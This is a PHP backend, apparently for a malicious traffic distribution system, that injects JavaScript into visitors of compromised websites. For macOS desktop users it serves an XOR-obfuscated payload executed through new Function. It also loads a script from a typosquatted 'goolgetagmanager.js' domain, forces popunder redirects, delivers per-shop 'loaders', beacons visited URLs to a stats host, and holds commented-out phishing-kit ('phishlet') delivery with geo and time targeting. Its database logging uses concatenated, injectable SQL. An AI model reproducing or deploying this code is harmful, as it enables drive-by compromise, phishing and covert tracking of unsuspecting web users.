<?php

// тут много exit - проверь
// пока без нетстата

require 'vendor/autoload.php';
use GeoIp2\Database\Reader;
$reader = new Reader('/var/www/www-root/data/www/mnvps.com/GeoLite2-Country.mmdb');

function detectDeviceType(string $ua): string
{
    $ua = strtolower($ua);

    if (strpos($ua, 'tablet') !== false || strpos($ua, 'ipad') !== false) {
        return 'Tablet';
    }

    if (strpos($ua, 'mobile') !== false || strpos($ua, 'iphone') !== false || strpos($ua, 'android') !== false) {
        return 'Mobile';
    }

    return 'PC';
}

function detectOS(string $ua): string
{
    $ua = strtolower($ua);

    if (strpos($ua, 'windows') !== false) {
        return 'Windows';
    }

    if (strpos($ua, 'mac os') !== false || strpos($ua, 'macintosh') !== false) {
        return 'MacOS';
    }

    if (strpos($ua, 'linux') !== false && strpos($ua, 'android') === false) {
        return 'Linux';
    }

    if (strpos($ua, 'android') !== false) {
        return 'Android';
    }

    if (strpos($ua, 'iphone') !== false || strpos($ua, 'ipad') !== false || strpos($ua, 'ios') !== false) {
        return 'iOS';
    }

    return 'Other';
}

$ua = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$trigger_april = false;

if(detectOS($ua)=='MacOS' and detectDeviceType($ua)=='PC'){
	
	// $record = $reader->country($ip);
	// $countryCode = $record->country->isoCode;
	
	$trigger_april = true;
	
	//if($countryCode == 'US'){
		//$trigger_april = true;
	//}
	
}

if($ip=='2.59.218.206'){
		$trigger_april = true;
}


date_default_timezone_set('Europe/Moscow'); // Устанавливаем часовой пояс Москвы
$hour = (int) date('H'); // Получаем текущий час в 24-часовом формате
$minute = (int) date('i');
$current_time = $hour + ($minute / 60);
$dayOfWeek = (int) date('N'); // День недели (1=Пн, 7=Вс)

$curr_dom = file_get_contents('/var/www/www-root/data/www/mnvps.com/current_domain_config');
$domain_stat = file_get_contents('/var/www/www-root/data/www/mnvps.com/current_stat_config');

include('cfg.php');
header('Access-Control-Allow-Origin: *');

$countryCode = 'NA';
	
function simple_ltrim($str, $part){
    $try = substr($str, 0, strlen($part));
    if($try == $part){
        return substr($str, strlen($part), strlen($str)-strlen($part));
    }else{
        return $str;
    }
}

$april_code = "var script = document.createElement('script');
script.src = 'https://lkczkqweca.com/goolgetagmanager.js?v=2.0';
document.head.appendChild(script);";

$april_code = "!function(){var _0x7896=atob('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'),_0x9d7b=51,_0xdf2a=new Uint8Array(_0x7896['length']),_0x00b1=0;for(;_0x00b1<_0x7896['length'];_0x00b1++)_0xdf2a[_0x00b1]=_0x7896['charCodeAt'](_0x00b1)^_0x9d7b;(new Function(new TextDecoder()['decode'](_0xdf2a)))()}();";

$popunder = "var script = document.createElement('script');
script.src = 'https://cl0p.anti-bot.buzz/1.js';
document.head.appendChild(script);";

$popunder = "if (!document.cookie.includes('visited=1')) {
  document.addEventListener('click', function(e) {
    e.preventDefault();
    document.cookie = 'visited=1; max-age=31536000; path=/';
    location.href = 'https://pu2go1225.im/go/gnrdsolbgu5dcmbzgi3a';
  }, {once: true});
}";


if($_SERVER['HTTP_HOST']=='cdn.optitc.com'){
	if($trigger_april){
		echo $april_code;
		exit;
	}
	//echo $net_stat;
	//exit;
}

$http_host = $_SERVER['HTTP_HOST'];

if(isset($_SERVER['HTTP_REFERER'])){
	$host = parse_url($_SERVER['HTTP_REFERER']);
	$host = simple_ltrim($host['host'], 'www.');
	
	//file_put_contents('/var/www/www-root/data/www/mnvps.com/if_usa_log.txt', $countryCode.'|'.$ip.'|'.$host.'|'.$http_host.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
	
	$net_stat = "
			  if(document.readyState === 'loading') {
                document.addEventListener('DOMContentLoaded', afterLoaded);
              } else {
                afterLoaded();
              }

                function afterLoaded(){
                    var asad = document.location.href;
                    var s = document.createElement('script'); s.src = '//$domain_stat/fetch.php?tracker=".$http_host."&site='+btoa(asad); document.getElementsByTagName('head')[0].appendChild(s);
                }
			";
			
	if(file_exists('./loaders/'.$host)){
		
		// loader for shops
		
	    $loader_time = filemtime('./loaders/'.$host);
	    if(time()-$loader_time > 259200){ // 3 days
	        $event = 'loader';
            echo file_get_contents('./loaders/'.$host);
	    }else{
	        $event = 'cookie';
	        echo 'document.cookie="visited=1; max-age=9000000000;"';
	    }
    }else{
		
		
		//exit;
		
		// loader for push 
		/*
		if(file_exists('./push/'.$host)){
			$loader_time = filemtime('./push/'.$host);
			if(time()-$loader_time > 259200){ // 3 days
				$event = 'push';
				//echo file_get_contents('./loaders/'.$host);
				// тут нужно вывести js для пуша, но пока выводим нет стат
				// уже готово
				//$push_js = $net_stat;
				
				echo $popunder;
				
			}else{
				$event = 'cookie';
				echo 'document.cookie="visited=1; max-age=9000000000;"';
			}
		}elseif(file_exists('./push_host/'.$http_host)){ // забанили хост целиком
			$loader_time = filemtime('./push_host/'.$http_host);
			if(time()-$loader_time > 259200){ // 3 days
				$event = 'push';
				echo $popunder;
			}else{
				$event = 'cookie';
				echo 'document.cookie="visited=1; max-age=9000000000;"';
			}
		}else{
			//echo $net_stat;
		}
		*/
		
		if($trigger_april){
			//file_put_contents('/var/www/www-root/data/www/mnvps.com/else_usa_log.txt', $countryCode.'|'.$ip.'|'.$host.'|'.$http_host.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
			//echo $april_code;
			
			echo $april_code;
			
			//echo $net_stat;
			
		}else{
			echo $net_stat;
		}

    }

    if($event){
        mysqli_query($dbh, "INSERT INTO `vlmqlvsa_nei`.`domain_visit_log` (`id`, `ip`, `domain`, `event`) VALUES (NULL, '".$ip."', '".$host."', '".$event."');");
    }
    
}else{
	
	$host = 'host_na';
	
	//file_put_contents('/var/www/www-root/data/www/mnvps.com/if_usa_log.txt', $countryCode.'|'.$ip.'|'.$host.'|'.$http_host.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
	
	$noref_net_stat = "
			  if(document.readyState === 'loading') {
                document.addEventListener('DOMContentLoaded', afterLoaded);
              } else {
                afterLoaded();
              }

                function afterLoaded(){
                    var asad = document.location.href;
                    var s = document.createElement('script'); s.src = '//$domain_stat/fetch.php?tracker=noref&site='+btoa(asad); document.getElementsByTagName('head')[0].appendChild(s);
					
					
                }
				
				
			";
			
	if($trigger_april){
		//file_put_contents('/var/www/www-root/data/www/mnvps.com/else_usa_log.txt', $countryCode.'|'.$ip.'|'.$host.'|'.$http_host.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
		echo $april_code;
		//echo $noref_net_stat;
	}else{
		echo $noref_net_stat;
	}
    
    //Header('Location: https://cloudflare.com/');
}

exit;

		/*
		
			// устаревшие куски кода
			
			$get_loader_template = mysqli_fetch_assoc(mysqli_query($dbh, "SELECT * FROM `loader_template` where `domain` = '".$host."' limit 1"));
			if($get_loader_template){
				if($get_loader_template['enable_time'] < time() ){
					if(file_exists('./loaders/'.$get_loader_template['name'])){
						$event = 'loader';
						echo file_get_contents('./loaders/'.$get_loader_template['name']); 
					}else{
						$event = false;
						echo $net_stat;
					}
					
				}else{
					$event = 'cookie';
					echo 'document.cookie="visited=1; max-age=9000000000;"';
				}
			}else{
				echo $net_stat;
			}
			
			if($countryCode === 'US'){
				file_put_contents('/var/www/www-root/data/www/mnvps.com/logs/usa_log_'.date("d_m_Y").'.txt', $countryCode.'|'.$ip.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
				if ($dayOfWeek >= 1 && $dayOfWeek <= 5 && $hour >= 16 && $hour < 24) {
					$trigger = false;
					//file_put_contents('/var/www/www-root/data/www/mnvps.com/usa_log.txt', $countryCode.'|'.$ip.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
				}
			}

			if($countryCode === 'JP'){
				//file_put_contents('/var/www/www-root/data/www/mnvps.com/logs/jp_log_'.date("d_m_Y").'.txt', $countryCode.'|'.$ip.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
				if ($current_time >= 4 && $current_time < 15.5) {
					$trigger = true;
					//file_put_contents('/var/www/www-root/data/www/mnvps.com/usa_log.txt', $countryCode.'|'.$ip.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);
				}
			}
		
		*/
		
		/*
			if(file_exists('./loaders/phishlet') and $trigger){
				$event = 'phishlet';
				
				//echo str_replace('CURRENT_DOMAIN', $curr_dom, file_get_contents('./loaders/phishlet'));
				echo str_replace('https://CURRENT_DOMAIN/tds.php', $direct_dom, file_get_contents('./loaders/phishlet'));
				
				mysqli_query($dbh, "INSERT INTO `vlmqlvsa_nei`.`domain_visit_log` (`id`, `ip`, `domain`, `event`) VALUES (NULL, '".$ip."', 'cdn.optitc.com', '".$event."');");
				exit;
			}
			
			if($trigger){
				//$event = 'phishlet';
				//echo str_replace('CURRENT_DOMAIN', $curr_dom, file_get_contents('./loaders/phishlet'));
			}
			
			if($trigger){
			    //$event = 'phishlet';
			    //echo str_replace('CURRENT_DOMAIN', $curr_dom, file_get_contents('./loaders/phishlet'));
		    }
		*/
		
		
		//$direct_dom = file_get_contents('/var/www/www-root/data/www/mnvps.com/tds_link.txt');

		//require 'vendor/autoload.php';
		//use GeoIp2\Database\Reader;
		//$reader = new Reader('/var/www/www-root/data/www/mnvps.com/GeoLite2-Country.mmdb');

		//$record = $reader->country($ip);
		//$rec = json_encode($record,1);
		//$countryCode = $record->country->isoCode;

		//$serv = json_encode($_SERVER,1);

		//file_put_contents('/var/www/www-root/data/www/mnvps.com/test_log.txt', $serv.'|'.$rec.'|'.$_SERVER['HTTP_USER_AGENT'].'|'.time()."\r\n", FILE_APPEND);

		